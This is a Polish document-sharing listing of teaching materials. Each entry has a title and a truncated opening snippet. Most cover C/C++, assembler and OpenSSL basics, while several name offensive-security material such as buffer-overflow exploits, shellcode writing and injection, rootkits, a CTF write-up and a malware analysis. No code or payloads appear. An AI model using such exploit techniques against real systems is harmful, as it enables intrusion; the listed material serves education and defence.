Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych. 1. Przygotowanie środowiska programistycznego. Zajęcia będą
Bardziej szczegółowoAdam Zabrocki http://pi3.hack.pl pi3@itsec.pl (lub oficjalnie: adam.zabrocki@avet.com.pl)
Włamania do systemów w Linux Adam Zabrocki http://pi3.hack.pl pi3@itsec.pl (lub oficjalnie: adam.zabrocki@avet.com.pl) Włamania do systemów w Linux Dlaczego Linux? Jądro 2.4 a 2.6 Włamania do systemów
Bardziej szczegółowoZasady programowania Dokumentacja
Marcin Kędzierski gr. 14 Zasady programowania Dokumentacja Wstęp 1) Temat: Przeszukiwanie pliku za pomocą drzewa. 2) Założenia projektu: a) Program ma pobierać dane z pliku wskazanego przez użytkownika
Bardziej szczegółowoAdam Kotynia, Łukasz Kowalczyk
Adam Kotynia, Łukasz Kowalczyk Dynamiczna alokacja pamięci Alokacja pamięci oraz dezalokacja pamięci jest to odpowiednio przydział i zwolnienie ciągłego obszaru pamięci. Po uruchomieniu, proces (program)
Bardziej szczegółowoPrzepełnienie bufora. Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania)
Przepełnienie bufora Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania) Historia ważniejsze wydarzenia 1988 Morris worm, wykorzystywał m.in. przepełnienie bufora
Bardziej szczegółowoCel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow.
Exploity w praktyce Plan prelekcji Powtórka assembly x86 32. Pamięć uruchamianych programów. Prosty stack overflow exploit. Tworzenie shellcode i jego uruchomienie. Wstrzykiwanie shellcode wykorzystując
Bardziej szczegółowoPodstawy programowania, Poniedziałek , 8-10 Projekt, część 1
Podstawy programowania, Poniedziałek 30.05.2016, 8-10 Projekt, część 1 1. Zadanie Projekt polega na stworzeniu logicznej gry komputerowej działającej w trybie tekstowym o nazwie Minefield. 2. Cele Celem
Bardziej szczegółowoProgramowanie w C++ Wykład 5. Katarzyna Grzelak. 26 marca kwietnia K.Grzelak (Wykład 1) Programowanie w C++ 1 / 40
Programowanie w C++ Wykład 5 Katarzyna Grzelak 26 marca 2018 9 kwietnia 2018 K.Grzelak (Wykład 1) Programowanie w C++ 1 / 40 Pojęcia z poprzedniego wykładu Podział programu na funkcje podział na niezależne
Bardziej szczegółowoArchitektura komputerów. Asembler procesorów rodziny x86
Architektura komputerów Asembler procesorów rodziny x86 Architektura komputerów Asembler procesorów rodziny x86 Rozkazy mikroprocesora Rozkazy mikroprocesora 8086 można podzielić na siedem funkcjonalnych
Bardziej szczegółowoKrótkie wprowadzenie do korzystania z OpenSSL
Krótkie wprowadzenie do korzystania z OpenSSL Literatura: http://www.openssl.org E. Rescola, "An introduction to OpenSSL Programming (PartI)" (http://www.linuxjournal.com/article/4822) "An introduction
Bardziej szczegółowoznajdowały się różne instrukcje) to tak naprawdę definicja funkcji main.
Część XVI C++ Funkcje Jeśli nasz program rozrósł się już do kilkudziesięciu linijek, warto pomyśleć o jego podziale na mniejsze części. Poznajmy więc funkcje. Szybko się przekonamy, że funkcja to bardzo
Bardziej szczegółowoCSAW CTF Qualification Round 2015 Rhinoxorus
CSAW CTF Qualification Round 2015 Rhinoxorus CSAW CTF to najpopularniejsze na świecie zawody Capture The Flag skierowane głównie dla początkujących. Organizowane są przez studentów Instytutu Politechnicznego
Bardziej szczegółowoPliki w C/C++ Przykłady na podstawie materiałów dr T. Jeleniewskiego
Pliki w C/C++ Przykłady na podstawie materiałów dr T. Jeleniewskiego 1 /24 Pisanie pojedynczych znaków z klawiatury do pliku #include void main(void) { FILE *fptr; // wkaznik do pliku, tzw. uchwyt
Bardziej szczegółowoWstęp do programowania
Wstęp do programowania Przemysław Gawroński D-10, p. 234 Wykład 1 8 października 2018 (Wykład 1) Wstęp do programowania 8 października 2018 1 / 12 Outline 1 Literatura 2 Programowanie? 3 Hello World (Wykład
Bardziej szczegółowo[ Odnajdywanie shellcodu w procesach zdalnych. ]
[ Odnajdywanie shellcodu w procesach zdalnych. ] Autor: Krystian Kloskowski (h07) -http://milw0rm.com/author/668 -http://www.h07.int.pl 0x00 [INTRO] Do właściwego zrozumienia treści tego
Bardziej szczegółowoPodstawy języka skryptowego Lua
Podstawy języka skryptowego Lua Wykorzystanie Lua w C++ Krzysztof Rossa - digiboy rbox_usuń_@o2.pl 2007-07-29 Kontakt z autorem: rbox_usun_@o2.pl Zawartość Wstęp... 3 Po co używamy skryptów?... 3 Przygotowanie
Bardziej szczegółowoWstęp do Reverse engineeringu
Wstęp do Reverse engineeringu O mnie Agnieszka Bielec Eternal pracuję w CERT Polska jako Malware Analyst CTFy z p4 prowadze bloga eternal.red lubie ścianki wpinaczkowe i rower twitter Reverse Engineering
Bardziej szczegółowoProgramowanie w C++ Wykład 2. Katarzyna Grzelak. 4 marca K.Grzelak (Wykład 1) Programowanie w C++ 1 / 44
Programowanie w C++ Wykład 2 Katarzyna Grzelak 4 marca 2019 K.Grzelak (Wykład 1) Programowanie w C++ 1 / 44 Na poprzednim wykładzie podstawy C++ Każdy program w C++ musi mieć funkcję o nazwie main Wcięcia
Bardziej szczegółowoOptymalizacja szelkodów w Linuksie
Optymalizacja szelkodów w Linuksie Michał Piotrowski Artykuł opublikowany w numerze 4/2005 magazynu hakin9. Zapraszamy do lektury całego magazynu. Wszystkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie
Bardziej szczegółowoProgramowanie Równoległe wykład, 21.01.2013. CUDA, przykłady praktyczne 1. Maciej Matyka Instytut Fizyki Teoretycznej
Programowanie Równoległe wykład, 21.01.2013 CUDA, przykłady praktyczne 1 Maciej Matyka Instytut Fizyki Teoretycznej Motywacja l CPU vs GPU (anims) Plan CUDA w praktyce Wykład 1: CUDA w praktyce l aplikacja
Bardziej szczegółowoFaktura Orange z 11 lipca 2014 roku zawierająca złośliwe oprogramowanie ANALIZA
Faktura Orange z 11 lipca 2014 roku zawierająca złośliwe oprogramowanie ANALIZA 21 Lipiec, 2014 W dniu 11 lipca 2014 zarejestrowaliśmy kolejną kampanię polegającą na rozsyłaniu złośliwego oprogramowania
Bardziej szczegółowoArchitektura systemów komputerowych Laboratorium 8 Symulator SMS32 Instrukcje skoku i pętle
Marcin Stępniak Architektura systemów komputerowych Laboratorium 8 Symulator SMS32 Instrukcje skoku i pętle 1. Informacje 1.1. Instrukcje skoku Instrukcje skoku zmieniają wskaźnik instrukcji w rejestrze
Bardziej szczegółowoProcesy. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 9 października 2011
Procesy Systemy Operacyjne 2 laboratorium Mateusz Hołenko 9 października 2011 Plan zajęć 1 Procesy w systemie Linux proces procesy macierzyste i potomne procesy zombie i sieroty 2 Funkcje systemowe pobieranie
Bardziej szczegółowoI - Microsoft Visual Studio C++
I - Microsoft Visual Studio C++ 1. Nowy projekt z Menu wybieramy File -> New -> Projekt -> Win32 Console Application w okienku Name: podajemy nazwę projektu w polu Location: wybieramy miejsce zapisu i
Bardziej szczegółowoProgramowanie Obiektowo Zorientowane w języku c++ Przestrzenie nazw
Programowanie Obiektowo Zorientowane w języku c++ Przestrzenie nazw Mirosław Głowacki 1 1 Akademia Górniczo-Hutnicza im. Stanisława Staszica w Ktrakowie Wydział Inżynierii Metali i Informatyki Stosowanej
Bardziej szczegółowoProgramowanie hybrydowe łączenie C/C++ z asemblerem
Programowanie hybrydowe łączenie C/C++ z asemblerem Konwencje Wywoływanie procedur asemblerowych w kodzie języka wysokiego poziomu wymaga: Ustalenia konwencji nazewniczej używanej w języku programowania
Bardziej szczegółowoLab 8. Tablice liczbowe cd,. Operacje macierzowo-wektorowe, memcpy, memmove, memset. Wyrażenie warunkowe.
Języki i paradygmaty programowania 1 studia stacjonarne 2018/19 Lab 8. Tablice liczbowe cd,. Operacje macierzowo-wektorowe, memcpy, memmove, memset. Wyrażenie warunkowe. 1. Wektory i macierze: a. Przykład
Bardziej szczegółowoPętle i tablice. Spotkanie 3. Pętle: for, while, do while. Tablice. Przykłady
Pętle i tablice. Spotkanie 3 Dr inż. Dariusz JĘDRZEJCZYK Pętle: for, while, do while Tablice Przykłady 11/26/2016 AGH, Katedra Informatyki Stosowanej i Modelowania 2 Pętla w największym uproszczeniu służy
Bardziej szczegółowoPodstawy programowania. Wykład Funkcje. Krzysztof Banaś Podstawy programowania 1
Podstawy programowania. Wykład Funkcje Krzysztof Banaś Podstawy programowania 1 Programowanie proceduralne Pojęcie procedury (funkcji) programowanie proceduralne realizacja określonego zadania specyfikacja
Bardziej szczegółowoLaboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach
Laboratorium Systemów Operacyjnych Ćwiczenie 4. Operacje na plikach Wykonanie operacji wymaga wskazania pliku, na którym operacja ma zostać wykonana. Plik w systemie LINUX identyfikowany jest przez nazwę,
Bardziej szczegółowoRPC. Zdalne wywoływanie procedur (ang. Remote Procedure Calls )
III RPC Zdalne wywoływanie procedur (ang. Remote Procedure Calls ) 1. Koncepcja Aplikacja wywołanie procedury parametry wyniki wykonanie procedury wynik komputer klienta komputer serwera Zaletą takiego
Bardziej szczegółowoPROGRAMOWANIE NISKOPOZIOMOWE
PROGRAMOWANIE NISKOPOZIOMOWE PN.06 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 c Dr inż. Ignacy Pardyka (Inf.UJK) PN.06 Rok akad. 2011/2012 1 / 22 1 Asembler
Bardziej szczegółowoPodstawy informatyki. Informatyka stosowana - studia niestacjonarne. Grzegorz Smyk. Wydział Inżynierii Metali i Informatyki Przemysłowej
Podstawy informatyki Informatyka stosowana - studia niestacjonarne Grzegorz Smyk Wydział Inżynierii Metali i Informatyki Przemysłowej Akademia Górniczo Hutnicza im. Stanisława Staszica w Krakowie, rok
Bardziej szczegółowoTechniki programowania INP001002Wl rok akademicki 2018/19 semestr letni. Wykład 8. Karol Tarnowski A-1 p.
Techniki programowania INP001002Wl rok akademicki 2018/19 semestr letni Wykład 8 Karol Tarnowski karol.tarnowski@pwr.edu.pl A-1 p. 411B Plan prezentacji Biblioteka GSL Na podstawie: https://www.gnu.org/software/gsl/doc/html/index.html
Bardziej szczegółowoTemat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych.
Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych. 1. Rodzaje pamięci używanej w programach Pamięć komputera, dostępna dla programu,
Bardziej szczegółowoBloki anonimowe w PL/SQL
Język PL/SQL PL/SQL to specjalny język proceduralny stosowany w bazach danych Oracle. Język ten stanowi rozszerzenie SQL o szereg instrukcji, znanych w proceduralnych językach programowania. Umożliwia
Bardziej szczegółowoArchitektura komputerów
Architektura komputerów Tydzień 5 Jednostka Centralna Zadania realizowane przez procesor Pobieranie rozkazów Interpretowanie rozkazów Pobieranie danych Przetwarzanie danych Zapisanie danych Główne zespoły
Bardziej szczegółowoMateriał. Typy zmiennych Instrukcje warunkowe Pętle Tablice statyczne Funkcje Wskaźniki Referencje Tablice dynamiczne Typ string Przeładowania funkcji
Podstawy informatyki Informatyka stosowana - studia niestacjonarne - Zajęcia nr 5 Grzegorz Smyk Wydział Inżynierii Metali i Informatyki Przemysłowej Akademia Górniczo Hutnicza im. Stanisława Staszica w
Bardziej szczegółowoInformacje wstępne #include <nazwa> - derektywa procesora umożliwiająca włączenie do programu pliku o podanej nazwie. Typy danych: char, signed char
Programowanie C++ Informacje wstępne #include - derektywa procesora umożliwiająca włączenie do programu pliku o podanej nazwie. Typy danych: char, signed char = -128 do 127, unsigned char = od
Bardziej szczegółowoProgramowanie w elektronice: Podstawy C
Programowanie w elektronice: Podstawy C Projekt Matematyka dla Ciekawych Świata, Robert Ryszard Paciorek 2019-05-05 C / C++ są najpopularniejszymi językami kompilowanymi do kodu maszynowego
Bardziej szczegółowoWskaźnik może wskazywać na jakąś zmienną, strukturę, tablicę a nawet funkcję. Oto podstawowe operatory niezbędne do operowania wskaźnikami:
Wskaźniki są nieodłącznym elementem języka C. W języku C++ także są przydatne i korzystanie z nich ułatwia pracę, jednak w odróżnieniu do C wiele rzeczy da się osiągnąć bez ich użycia. Poprawne operowanie
Bardziej szczegółowoISO/ANSI C - funkcje. Funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje
Funkcje (podprogramy) Mianem funkcji określa się fragment kodu, który może być wykonywany wielokrotnie z różnych miejsc programu. Ogólny zapis: typ nazwa(argumenty) ciało funkcji typ określa typ danych
Bardziej szczegółowoMETODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE. Wykład 02
METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE Wykład 02 NAJPROSTSZY PROGRAM /* (Prawie) najprostszy przykład programu w C */ /*==================*/ /* Między tymi znaczkami można pisać, co się
Bardziej szczegółowoArchitektura systemów komputerowych Laboratorium 14 Symulator SMS32 Implementacja algorytmów
Marcin Stępniak Architektura systemów komputerowych Laboratorium 14 Symulator SMS32 Implementacja algorytmów 1. Informacje Poniższe laboratoria zawierają podsumowanie najważniejszych informacji na temat
Bardziej szczegółowoTemat 1. Podstawy Środowiska Xcode i wprowadzenie do języka Objective-C
Temat 1. Podstawy Środowiska Xcode i wprowadzenie do języka Objective-C Wymagana wiedza wstępna: 1) Student musi 1) Znać język C 2) Znać zasady zarządzania pamięcią w komputerze 3) Znać pojecie wskaźnika
Bardziej szczegółowoĆwiczenie nr 6. Programowanie mieszane
Ćwiczenie nr 6 Programowanie mieszane 6.1 Wstęp Współczesne języki programowania posiadają bardzo rozbudowane elementy językowe, co pozwala w większości przypadków na zdefiniowanie całego kodu programu
Bardziej szczegółowoArchitektura komputerów
Architektura komputerów Wykład 6 Jan Kazimirski 1 Architektura x86 2 Środowisko wykonawcze x86 (32-bit) Przestrzeń adresowa Liniowa przestrzeń adresowa do 4 GB Fizyczna przestrzeń adresowa do 64 GB Rejestry
Bardziej szczegółowoJęzyki C i C++ Wykład: 2. Wstęp Instrukcje sterujące. dr Artur Bartoszewski - Języki C i C++, sem. 1I- WYKŁAD
Języki C i C++ Wykład: 2 Wstęp Instrukcje sterujące 1 dr Artur Bartoszewski - Języki C i C++, sem. 1I- WYKŁAD programowania w C++ Instrukcje sterujące 2 Pętla for for ( instrukcja_ini ; wyrazenie_warunkowe
Bardziej szczegółowoProgramowanie strukturalne język C - wprowadzenie
Programowanie strukturalne język C - wprowadzenie Dr inż. Sławomir Samolej D102 C, tel: 865 1766, email: ssamolej@prz-rzeszow.pl WWW: ssamolej.prz-rzeszow.pl Cechy programowania strukturalnego Możliwość
Bardziej szczegółowoPROGRAMY REZYDENTNE Terminate and State Resident, TSR
PROGRAMY REZYDENTNE Terminate and State Resident, TSR O co tu chodzi Podstawowe reguły Jak może program zostać rezydentnym Przechwytywanie przerwań Jak się samoznaleźć w pamięci Aktywacja TSR-u. Problemy
Bardziej szczegółowoInstrukcja do ćwiczenia P4 Analiza semantyczna i generowanie kodu Język: Ada
Instrukcja do ćwiczenia P4 Analiza semantyczna i generowanie kodu Język: Ada Spis treści 1 Wprowadzenie 1 2 Dane i kod 2 3 Wyrażenia 2 3.1 Operacje arytmetyczne i logiczne.................. 2 3.2 Podstawowe
Bardziej szczegółowoSignals + Threads: Qt vs. Boost
Signals + Threads: Qt vs. Boost Adam Bujalski 2014-04-01 Adam Bujalski Signals + Threads: Qt vs. Boost 2014-04-01 1 / 22 Spis Treści 1 2 Wątki 3 Qt::QueuedConnection w boost Adam Bujalski Signals + Threads:
Bardziej szczegółowoExploity, Rootkity i Shell Code. Bartłomiej Rusiniak
Exploity, Rootkity i Shell Code Bartłomiej Rusiniak Styczeń 2003 Spis treści 1 Exploity 2 1.1 Błędy semantyczne.............................. 3 1.2 Błędy systemowe............................... 5 1.2.1
Bardziej szczegółowoTablice, funkcje - wprowadzenie
Tablice, funkcje - wprowadzenie Przemysław Gawroński D-10, p. 234 Wykład 5 25 marca 2019 (Wykład 5) Tablice, funkcje - wprowadzenie 25 marca 2019 1 / 12 Outline 1 Tablice jednowymiarowe 2 Funkcje (Wykład
Bardziej szczegółowoShellcody a architektura MIPS na systemach IRIX. Adam Zabrocki.
Adam Zabrocki http://pi3.shellcode.pl pi3@itsec.pl Architektura MIPS: MIPS Microprocessor without Interlocked Piped Stages: RISC Rationalized Instruction Set Computers (Reduced Instruction Set Computers)
Bardziej szczegółowoKatedra Elektrotechniki Teoretycznej i Informatyki. wykład 12 - sem.iii. M. Czyżak
Katedra Elektrotechniki Teoretycznej i Informatyki wykład 12 - sem.iii M. Czyżak Język C - preprocesor Preprocesor C i C++ (cpp) jest programem, który przetwarza tekst programu przed przekazaniem go kompilatorowi.
Bardziej szczegółowoĆwiczenie nr 3. Wyświetlanie i wczytywanie danych
Ćwiczenie nr 3 Wyświetlanie i wczytywanie danych 3.1 Wstęp Współczesne komputery przetwarzają dane zakodowane za pomocą ciągów zerojedynkowych. W szczególności przetwarzane liczby kodowane są w systemie
Bardziej szczegółowoPoniższe funkcje opisane są w 2 i 3 części pomocy systemowej.
Procesy Proces (zwany też zadaniem) jest jednostką aktywną, kontrolowaną przez system operacyjny i związaną z wykonywanym programem. Proces ma przydzielone zasoby typu pamięć (segment kodu, segment danych,
Bardziej szczegółowoAutomatyczne tworzenie operatora = Integer2& operator=(const Integer& prawy) { zdefiniuje. Integer::operator=(ri);
Przeciążanie operatorów [] Przykład: klasa reprezentująca typ tablicowy. Obiekt ma reprezentować tablicę, do której można się odwoływać intuicyjnie, np. Tab[i] Ma być też dostępnych kilka innych metod
Bardziej szczegółowoNETBEANS PROFILER TOMASZ ŁUKASZUK
NETBEANS PROFILER TOMASZ ŁUKASZUK STRESZCZENIE: Dokument zawiera podstawowe informacje dotyczące programu NetBeans Profiler. Stanowi uproszczoną instrukcję jego używania. Dotyczy NetBeans Profiler w wersji
Bardziej szczegółowodr inż. Jarosław Forenc
Informatyka 1 Politechnika Białostocka - Wydział Elektryczny Elektrotechnika, semestr II, studia stacjonarne I stopnia Rok akademicki 2014/2015 Pracownia nr 7 (10/20.04.2015) dr inż. Jarosław Forenc Rok
Bardziej szczegółowoŁącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi.
Przykład: $ ls more Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi. Tworzenie łącza #include int pipe(int filedes[2]); Przykład: int
Bardziej szczegółowoGrzegorz Cygan. Wstęp do programowania mikrosterowników w języku C
Grzegorz Cygan Wstęp do programowania mikrosterowników w języku C Mikrosterownik Inne nazwy: Microcontroler (z języka angielskiego) Ta nazwa jest powszechnie używana w Polsce. Mikrokomputer jednoukładowy
Bardziej szczegółowoProgramowanie w asemblerze Uruchamianie programów
Programowanie w asemblerze Uruchamianie programów 17 stycznia 2017 Uruchamianie programów Przy uruchamianiu i badaniu zachowania programów systemowych używa się wielu narzędzi. Prostsze z ich, takie jak
Bardziej szczegółowoWprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl)
Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl) char *index[6]; index[0] = "Intro"; index[1] = "Zaczynamy"; index[2] = "Hello world?!"; index[3] = "Shellcode tworzący
Bardziej szczegółowoSzablony funkcji i szablony klas
Bogdan Kreczmer bogdan.kreczmer@pwr.wroc.pl Zakład Podstaw Cybernetyki i Robotyki Instytut Informatyki, Automatyki i Robotyki Politechnika Wrocławska Kurs: Copyright c 2011 Bogdan Kreczmer Niniejszy dokument
Bardziej szczegółowoAutomatyczne tworzenie operatora = Integer2& operator=(const Integer& prawy) {
Przeciążanie a dziedziczenie class Integer2: public Integer Operatory, z wyjątkiem operatora przypisania są automatycznie dziedziczone w klasach pochodnych. Integer2(int i): Integer(i) Automatyczne tworzenie
Bardziej szczegółowoJęzyki i metodyka programowania. Wprowadzenie do języka C
Literatura: Brian W. Kernighan, Dennis M. Ritchie Język Ansi C, Wydawnictwa Naukowo - Techniczne, 2007 http://cm.bell-labs.com/cm/cs/cbook/index.html Scott E. Gimpel, Clovis L. Tondo Język Ansi C. Ćwiczenia
Bardziej szczegółowoPodstawy programowania skrót z wykładów:
Podstawy programowania skrót z wykładów: // komentarz jednowierszowy. /* */ komentarz wielowierszowy. # include dyrektywa preprocesora, załączająca biblioteki (pliki nagłówkowe). using namespace
Bardziej szczegółowoZASADY PROGRAMOWANIA KOMPUTERÓW
POLITECHNIKA WARSZAWSKA Instytut Automatyki i i Robotyki ZASADY PROGRAMOWANIA KOMPUTERÓW Język Język programowania: C/C++ Środowisko programistyczne: C++Builder 6 Wykład 9.. Wskaźniki i i zmienne dynamiczne.
Bardziej szczegółowo